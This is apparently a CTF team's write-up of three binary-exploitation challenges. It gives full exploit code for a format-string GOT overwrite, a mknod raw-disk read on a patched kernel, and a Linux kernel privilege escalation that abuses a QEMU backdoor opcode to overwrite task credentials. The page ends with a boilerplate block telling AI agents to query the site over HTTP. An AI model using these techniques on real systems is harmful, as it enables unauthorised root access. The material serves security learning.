# TECHOMFEST Quals

{% hint style="info" %}
Team: <mark style="color:blue;">ぎゅっと。</mark>

Rank: <mark style="color:yellow;">4</mark> / <mark style="color:yellow;">54</mark>
{% endhint %}

<table><thead><tr><th width="206">Challenge</th><th width="309">Category</th><th width="124" align="center">Points</th><th align="center">Solves</th></tr></thead><tbody><tr><td>kenari</td><td>Binary Exploitation</td><td align="center">116 pts</td><td align="center">21</td></tr><tr><td>ezfs</td><td>Binary Exploitation</td><td align="center">504 pts</td><td align="center">5</td></tr><tr><td>ezpu</td><td>Binary Exploitation</td><td align="center">1000 pts</td><td align="center">1</td></tr></tbody></table>

## kenari

### Description

> Author: **bakwanmalank**
>
> mirip warmup kemarin cuma nambah burung kenari
>
> (maaf ada sedikit kesalahan teknis😔)
>
> connect: nc ctf.ukmpcc.org 11001

### Analysis

we're given a single elf binary named `kenari` with protection as follows

```bash
└──╼ [★]$ pwn checksec kenari 
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

the program itself is very small, only consisting of the following functions

```c
void vuln(void)
{
  long in_FS_OFFSET;
  char input [72];
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  printf("username: ");
  gets(input);
  printf(input);
  putchar(10);
  printf("password: ");
  gets(input);
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void hitme(void)
{
  FILE *__stream;
  long in_FS_OFFSET;
  char local_58 [72];
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("File flag.txt tidak ditemukan");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  fgets(local_58,0x40,__stream);
  printf("Flag: %s\n",local_58);
  fclose(__stream);
                    /* WARNING: Subroutine does not return */
  exit(0);
}
```

### Exploitation

because the GOT is writeable, its possible to just overwrite the GOT with the win function with a single format string payload&#x20;

here's the exploit being ran againts the remote server

<figure><img src="/files/8JHwxgkhEExv6Ioye6Ux" alt=""><figcaption></figcaption></figure>

here's the full exploit script:

{% code title="" %}

```python
#!/usr/bin/env python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './kenari'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h", "-p", "65"]
host, port = 'ctf.ukmpcc.org', 11001

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process([exe] + argv)

gdbscript = '''
init-pwndbg
'''.format(**locals())

# =========================================================
#                         EXPLOITS
# =========================================================
def exploit():
    global io
    io = initialize()

    payload = fmtstr_payload(6, {elf.got['putchar']: elf.sym['hitme']})
    io.sendlineafter(b':', payload)

    io.interactive()
    
if __name__ == '__main__':
    exploit()

```

{% endcode %}

{% hint style="success" %}
Flag: ***TCF{m4nuk\_kenari\_cit\_cit\_cuiiiiittt\_!!}***
{% endhint %}

***

## ezfs

### Description

> Author: **rui**
>
> this might be the dumbest pwn that i've ever made
>
> connect: nc ctf.ukmpcc.org 10002

### Analysis

we're given the following files as attachments

```bash
└──╼ [★]$ tree dist
dist
├── alomani.patch
├── bzImage
├── flag.txt
├── rootfs.cpio.gz
└── run.sh
```

here's the content of the patch file

```diff
diff --git a/fs/namei.c b/fs/namei.c
index 4a4a22a08..bb1459989 100644
--- a/fs/namei.c
+++ b/fs/namei.c
@@ -4110,15 +4110,15 @@ EXPORT_SYMBOL(user_path_create);
 int vfs_mknod(struct mnt_idmap *idmap, struct inode *dir,
 	      struct dentry *dentry, umode_t mode, dev_t dev)
 {
-	bool is_whiteout = S_ISCHR(mode) && dev == WHITEOUT_DEV;
+	//bool is_whiteout = S_ISCHR(mode) && dev == WHITEOUT_DEV;
 	int error = may_create(idmap, dir, dentry);
 
 	if (error)
 		return error;
 
-	if ((S_ISCHR(mode) || S_ISBLK(mode)) && !is_whiteout &&
-	    !capable(CAP_MKNOD))
-		return -EPERM;
+	//if ((S_ISCHR(mode) || S_ISBLK(mode)) && !is_whiteout &&
+	//    !capable(CAP_MKNOD))
+	//	return -EPERM;
 
 	if (!dir->i_op->mknod)
 		return -EPERM;

```

we can get the summary of the patched function from this documentation

{% embed url="<https://docs.kernel.org/filesystems/api-summary.html#c.vfs_mknod>" %}

and more detail of the implementation from the source code

{% embed url="<https://elixir.bootlin.com/linux/v6.12.2/source/fs/namei.c#L4094>" %}

in summary, the patch removes the security checks upon creating new files, nodes, block devices etc

another relevant information is that the flag is not stored within the filesystem as can be seen from the qemu launch script

{% code title="run.sh" %}

```bash
#!/bin/bash

cd $(dirname $0)
exec timeout --foreground 30 qemu-system-x86_64 \
        -m 64M \
        -cpu qemu64,+smep,+smap \
        -nographic \
        -monitor none \
        -kernel bzImage \
        -initrd rootfs.cpio.gz \
        -no-reboot \
        -drive file=flag.txt,format=raw \
        -append "console=ttyS0 quiet kaslr panic=1 kpti=1 oops=panic" \
        -net user -net nic -device e1000
```

{% endcode %}

to further understand about how the flag is loaded/mounted (not sure what the correct word is), we can read the documentation:

{% embed url="<https://www.qemu.org/docs/master/system/qemu-manpage.html>" %}

> `-drive option[,option[,option[,...]]]`
>
> Define a new drive. This includes creating a block driver node (the backend) as well as a guest device, and is mostly a shortcut for defining the corresponding `-blockdev` and `-device` options.
>
> `-drive` accepts all options that are accepted by `-blockdev`. In addition, it knows the following options:
>
> \[... SNIP]
>
> `format=format`
>
> Specify which disk format will be used rather than detecting the format. Can be used to specify format=raw to avoid interpreting an untrusted format header.

this means the flag is loaded as a simple, byte-for-byte representation of the disk's data. Since `flag.txt` is specified with `format=raw`, QEMU treats the file as a raw block device, allowing the guest kernel to access it as if it were a physical drive.

### Exploitation

I'm not an expert in kernel shenanigans (hopefully yet), so I'll hunt for the low hanging fruit by asking chatGPT

<figure><img src="/files/IIqklwJVXoDJMAvzNfmF" alt=""><figcaption></figcaption></figure>

and surprisingly it works, here's the exploit being ran againts the remote server

<figure><img src="/files/VykownkNdSIKNvuS0Iev" alt=""><figcaption></figcaption></figure>

here's the full exploit script:

{% code title="exp.sh" %}

```bash
mknod /tmp/mydevice b 8 0
cat /tmp/mydevice
```

{% endcode %}

{% hint style="success" %}
Flag: ***TCF{what\_kind\_of\_pwn\_is\_this???}***
{% endhint %}

***

## ezpu

### Description

> Author: **rui**
>
> new cpu instruction??? nah man its just backdoor
>
> connect: nc ctf.ukmpcc.org 10001

### Analysis

we're given the following files as attachment:

```bash
└──╼ [★]$ tree .
.
├── anomali.patch
├── bios
│   ├── bios-256k.bin
│   ├── efi-e1000.rom
│   ├── kvmvapic.bin
│   ├── linuxboot_dma.bin
│   └── vgabios-stdvga.bin
├── bzImage
├── qemu-system-x86_64
├── rootfs.cpio.gz
└── run.sh
```

here's the content of the patch file

```diff
diff --git a/target/i386/tcg/translate.c b/target/i386/tcg/translate.c
index 76a42c679..122947a3e 100644
--- a/target/i386/tcg/translate.c
+++ b/target/i386/tcg/translate.c
@@ -397,6 +397,19 @@ static void gen_update_cc_op(DisasContext *s)
  * [AH, CH, DH, BH], ie "bits 15..8 of register N-4". Return
  * true for this special case, false otherwise.
  */
+static void __attribute__ ((noinline)) some_function(DisasContext *s){
+    TCGLabel *read_cpu = gen_new_label();
+    tcg_gen_movi_tl(s->A0, 0xdeadbeeffeebdaed);
+    tcg_gen_brcond_tl(9, s->A0, cpu_regs[R_R11], read_cpu);
+    tcg_gen_qemu_ld_i64(cpu_regs[R_R12], cpu_regs[R_R13], REG_L_OFFSET, MO_LEUQ);
+    gen_set_label(read_cpu);
+    TCGLabel *write_cpu = gen_new_label();
+    tcg_gen_movi_tl(s->A0, 0x6969696969696969);
+    tcg_gen_brcond_tl(9, s->A0, cpu_regs[R_R11], write_cpu);
+    tcg_gen_qemu_st_i64(cpu_regs[R_R12], cpu_regs[R_R13], REG_W_OFFSET, MO_LEUQ);
+    gen_set_label(write_cpu);
+}
+
 static inline bool byte_reg_is_xH(DisasContext *s, int reg)
 {
     /* Any time the REX prefix is present, byte registers are uniform */
@@ -5512,8 +5525,10 @@ static bool disas_insn(DisasContext *s, CPUState *cpu)
         set_cc_op(s, CC_OP_EFLAGS);
         break;
     case 0x3f: /* aas */
-        if (CODE64(s))
-            goto illegal_op;
+        if (CODE64(s)){
+            some_function(s);
+            break;
+        }
         gen_update_cc_op(s);
         gen_helper_aas(tcg_env);
         set_cc_op(s, CC_OP_EFLAGS);

```

the `well_its_a_backdoor` function introduces a custom behavior in QEMU that manipulates the emulated CPU's state based on specific conditions. the patched behavior will trigger when any guest code executes the `0x3f` opcode in 64-bit mode (`CODE64`)

depends on the value of `R11` when the instruction is executed, different branching is taken:

1. `R11 == 0x6969696969696969`&#x20;

   executes a memory read operation:

   * **Source**: `R_R13`&#x20;
   * **Destination**:`R_R12`&#x20;
   * **Access Mode**: `MO_LEUQ` indicates a 64-bit load in little-endian format
2. `R11 == 0xdeadbeeffeebdaed`&#x20;

   executes a memory write operation:

   * **Source**: `R_R12`
   * **Destination**: `R_R13`
   * **Access Mode**: `MO_LEUQ` indicates a 64-bit store in little-endian format

this essentially means we have whole memory access to write and read, a powerful primitive.

next this is the launch script

```bash
#!/bin/bash

cd $(dirname $0)
exec timeout --foreground 300 ./qemu-system-x86_64 \
        -L bios \
	-m 64M \
        -cpu qemu64,+smep,+smap \
        -nographic \
        -monitor none \
        -kernel bzImage \
        -initrd rootfs.cpio.gz \
	-no-reboot \
	-append "console=ttyS0 quiet kaslr panic=1 kpti=1 oops=panic" \
	-net user -net nic -device e1000 \
```

### Defeating KASLR

though we have full access to the kernel address, it would be deemed useless if we don't know any addresses due to the fact that KASLR is enabled.&#x20;

however KASLR doesn't apply everywhere, quote:&#x20;

{% embed url="<https://hxp.io/blog/99/hxp-CTF-2022-one_byte-writeup/>" %}

> KASLR is nice, but doesn’t apply everywhere. You can manipulate either the IDT (before the `cpu_entry_area` at `0xfffffe0000000000`) or LDT (after \[`modify_ldt`]\() at `0xffff880000000000`), which are mapped read-only at fixed addresses.

`cpu_entry_area` specifically will contain addresses to kernel's .text

<figure><img src="/files/Vo5Hkg6jpSZl524R3oWW" alt=""><figcaption></figcaption></figure>

### Privilege Escalation

I initially tried to overwrite modprobe but it fails, as the author would confirm that modprobe is indeed disabled

<figure><img src="/files/UL3bpYju3ySIql7EzPTZ" alt=""><figcaption></figcaption></figure>

so we're left with data only privilege escalation. one technique is to overwrite the `current` of type `task_struct`'s  creds to be `init_cred` (root).

{% embed url="<https://elixir.bootlin.com/linux/v6.12.6/source/include/linux/sched.h#L778>" %}

{% hint style="warning" %}
this technique would be significantly harder/unreliable to do if the `RANDOMIZE_LAYOUT` config is enabled, which seems not to be the case here.
{% endhint %}

essentially, the kernel stores a global variable `init_task` of type `task_struct` which is the starting task that initializes the booting process.&#x20;

within it, exist the `init_cred` of the initiating task (which have root privileges) and the `next` field which forms a linked list upon other creds that will be spawned during the system's lifetime.&#x20;

we can obtain the those global variable addresses by reading `/proc/kallsyms`&#x20;

<figure><img src="/files/HyWDCQd4LjASsjRsUusY" alt=""><figcaption></figcaption></figure>

there's also the `comm` field, which the name of the running process that the task's own. we can set this value by calling the `prctl` syscall as follows:

```c
if (prctl(PR_SET_NAME, "PROCESS_NAME_HERE", 0, 0, 0) != 0) {
    panic("prctl");
}
```

as we have arbitrary read, we will use this as our egg to hunt. as we traverse the list to find our `current` task, we will compare the value of the `comm` field of each traversed task to determine if the task belongs to the current process.

next, the tricky part is to find the offset to `next` as it will be different across systems (depending on the configurations and versions).&#x20;

I note two ways of doing this

1. GDB observation and assumptions

this method will be less reliable compared to the latter but worth to note nonetheless. the idea came from [kylebot](https://kylebot.net) (amazing pwner) that they shared in [pwn.college](https://pwn.college)'s discord

<figure><img src="/files/qpxOIrZ16pyvkiIS2hx9" alt=""><figcaption></figcaption></figure>

first, we'll leak the `init_task` and use the `tele` command within gdb to inspect its structure

```bash
tele &init_task 400
```

<figure><img src="/files/s2SI4fyXH8QsKBG0EUFt" alt=""><figcaption></figcaption></figure>

as can be seen, we observed two fields at offset 0x478 and 0x480 that have endless lists of pointers, one of these is the `next` pointer as hinted by kyle as&#x20;

> (they should be so long that gef does not know they are loops)

<figure><img src="/files/DvZmDBQa7fzkzkWDQ7Y3" alt=""><figcaption></figcaption></figure>

at this time, we could also examine the result of the telescope and look for the string `swapper`. this will be our offset to `comm` which is 0x730 in this case&#x20;

{% hint style="info" %}
`init_task` is named swapper by default
{% endhint %}

2. [`for_each_process`](https://elixir.bootlin.com/linux/latest/source/include/linux/sched/signal.h#L645%60) macro

this method in my opinion is more reliable and would be my go to for future occasions. the idea came from the writeup below

{% embed url="<https://ctftime.org/writeup/35417>" %}

> if we want to search for the offset of the `tasks` field inside the `task_struct` (which is the pointer to the next task), we can search for references to `init_task.tasks` and end up looking at the macro [`for_each_process`](https://elixir.bootlin.com/linux/latest/source/include/linux/sched/signal.h#L645%60) which is called by [`clear_tasks_mm_cpumask`](https://elixir.bootlin.com/linux/latest/source/kernel/cpu.c#L967). The latter calls the first, which references the needed field

I suggest you to read it as it explained it better than I could do, but in essence this what would you need to do

first disassmble `clear_tasks_mm_cpumask`&#x20;

```bash
/ # cat /proc/kallsyms | grep clear_tasks_mm_cpumask
ffffffffa128ccc0 T __pfx_clear_tasks_mm_cpumask
ffffffffa128ccd0 T clear_tasks_mm_cpumask

pwndbg> x/20i 0xffffffffa128ccd0                                                                                                                                                                                   
   0xffffffffa128ccd0:  nop    WORD PTR [rax]                                                                                                                                                                      
   0xffffffffa128ccd4:  push   rbp                                                                                                                                                                                 
   0xffffffffa128ccd5:  mov    ebp,edi                                                                                                   
   0xffffffffa128ccd7:  push   rbx                                                                                                       
   0xffffffffa128ccd8:  bt     QWORD PTR [rip+0x1c309e8],rbp        # 0xffffffffa2ebd6c8                                                 
   0xffffffffa128cce0:  jb     0xffffffffa128cd43                                                                                        
   0xffffffffa128cce2:  call   0xffffffffa131e8f0                                                                                        
   0xffffffffa128cce7:  mov    rax,QWORD PTR [rip+0x19800ca]        # 0xffffffffa2c0cdb8                                                 
   0xffffffffa128ccee:  lea    rbx,[rax-0x478]                                                                                           
   0xffffffffa128ccf5:  cmp    rax,0xffffffffa2c0cdb8    # <-- [1]                                                                                
   0xffffffffa128ccfb:  je     0xffffffffa128cd3c                                                                                        
   0xffffffffa128ccfd:  mov    rdi,rbx                                                                                                   
   0xffffffffa128cd00:  call   0xffffffffa1407b80                                                                                        
   0xffffffffa128cd05:  test   rax,rax                                                                                                   
   0xffffffffa128cd08:  je     0xffffffffa128cd26                                                                                        
   0xffffffffa128cd0a:  mov    rcx,QWORD PTR [rax+0x4c8]                                                                                 
   0xffffffffa128cd11:  ds btr QWORD PTR [rcx+0x500],rbp                                                                                 
   0xffffffffa128cd1a:  lea    rdi,[rax+0x830]                                                                                           
   0xffffffffa128cd21:  call   0xffffffffa2145630                                                                                        
   0xffffffffa128cd26:  mov    rax,QWORD PTR [rbx+0x478]
```

look for the instruction which compares rax to some kernel address `[1]`, the compare is actually made between the `init_task` and its next task. in other words the address of the next of `init_task` .

this way we can get the offset by subtracting `&init_task` to the compared value

```bash
pwndbg> p/x 0xffffffffa2c0cdb8 - 0xffffffffa2c0c940
$2 = 0x478
```

which is the same offset we got from the previous method.

### Creds offset

examining the `task_struct` structure definition, it can be seen that the two cred that we need to overwrite (`*cred` and `*real_cred`) is very close to `comm`.

<figure><img src="/files/8ftSO7rZqAQGskjqD1NV" alt="" width="563"><figcaption></figcaption></figure>

so we'll just have to look for adjacent pointers somewhere close to it, and `telescope` it to verify that it contains 0x3e8 (UID 1000) for user `ctf`. in this case, the offset to both cred are  0x718 and 0x720 respectively

<figure><img src="/files/xRhBzKJhgooGsg2liTwn" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/s9PkzN6TtIGtCrckrLaA" alt="" width="500"><figcaption></figcaption></figure>

finally, last step is to overwrite both of it with `init_cred` to elevate our privilege to root and spawn a shell.

here's the exploit being ran againts the remote server

<figure><img src="/files/yLk8Hz0GkCIR6jNvBcUG" alt="" width="450"><figcaption></figcaption></figure>

here's the full exploit script:

{% code title="exploit.c" %}

```c
#include "libpwn.c"

#define cpu_entry_area 0xfffffe0000000000
#define TASK_LIST_OFFSET 0x478
#define COMM_OFFSET 0x730

long arb_read(u64 where) {
    __asm__(
        ".intel_syntax noprefix;"

        "mov r11, 0xdeadbeeffeebdaed;"
        "mov r13, %[address];"
        ".byte 0x3f;"
        "mov rax, r12;"

        ".att_syntax;"

        :
        : [address] "r" (where)
    );
}

void arb_write(u64 where, u64 what) {
    __asm__(
        ".intel_syntax noprefix;"

        "mov r11, 0x6969696969696969;"
        "mov r13, %[address];"
        "mov r12, %[value];"
        ".byte 0x3f;" // aas
        
        ".att_syntax"

        :
        : [address] "r" (where), [value] "r" (what)
    );  
}

int main() {
    char comm[16] = {};

    if (prctl(PR_SET_NAME, "ARGONAUT", 0, 0, 0) != 0) {
        panic("prctl");
    }
    
    kbase = arb_read(cpu_entry_area+0x4)-0x1008e00;
    u64 init_task = kbase + 0x1a0c940;
    u64 init_cred = kbase + 0x1a529e0;
    info2("kbase", kbase);
    info2("init_task", init_task);
    info2("init_cred", init_cred);

    u64 comm_num = arb_read(init_task+COMM_OFFSET);
    memcpy(comm, &comm_num, sizeof(comm_num));
    puts(comm);

    u64 current = arb_read(init_task+TASK_LIST_OFFSET)-TASK_LIST_OFFSET;
    int i = 0;
    while(current != 0x0) {
        comm_num = arb_read(current+COMM_OFFSET);
        memcpy(comm, &comm_num, sizeof(comm_num));
        printf("[*] task[%d] [%s]: 0x%lx\n", i, comm, current);

        if (strcmp(comm, "ARGONAUT") == 0) {
            _pause_("Found ARGONAUT task");
            break;
        } 

        current = arb_read(current+TASK_LIST_OFFSET)-TASK_LIST_OFFSET;
        i++;
    }

    arb_write(current+0x718, init_cred);
    arb_write(current+0x720, init_cred);

    spawn_shell();

    _pause_("end of exploit...");
}
```

{% endcode %}

{% embed url="<https://github.com/HyggeHalcyon/CTFs/blob/main/Scripts/pwn/kernelspace/libpwn.c>" %}
libpwn.c
{% endembed %}

{% hint style="success" %}
Flag: ***TCF{siapa\_sangka\_cuma\_modal.byte\_0x3f\_bisa\_dapet\_AAR\_AAW}***
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hyggehalcyon.gitbook.io/page/ctfs/2025/techomfest-quals.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
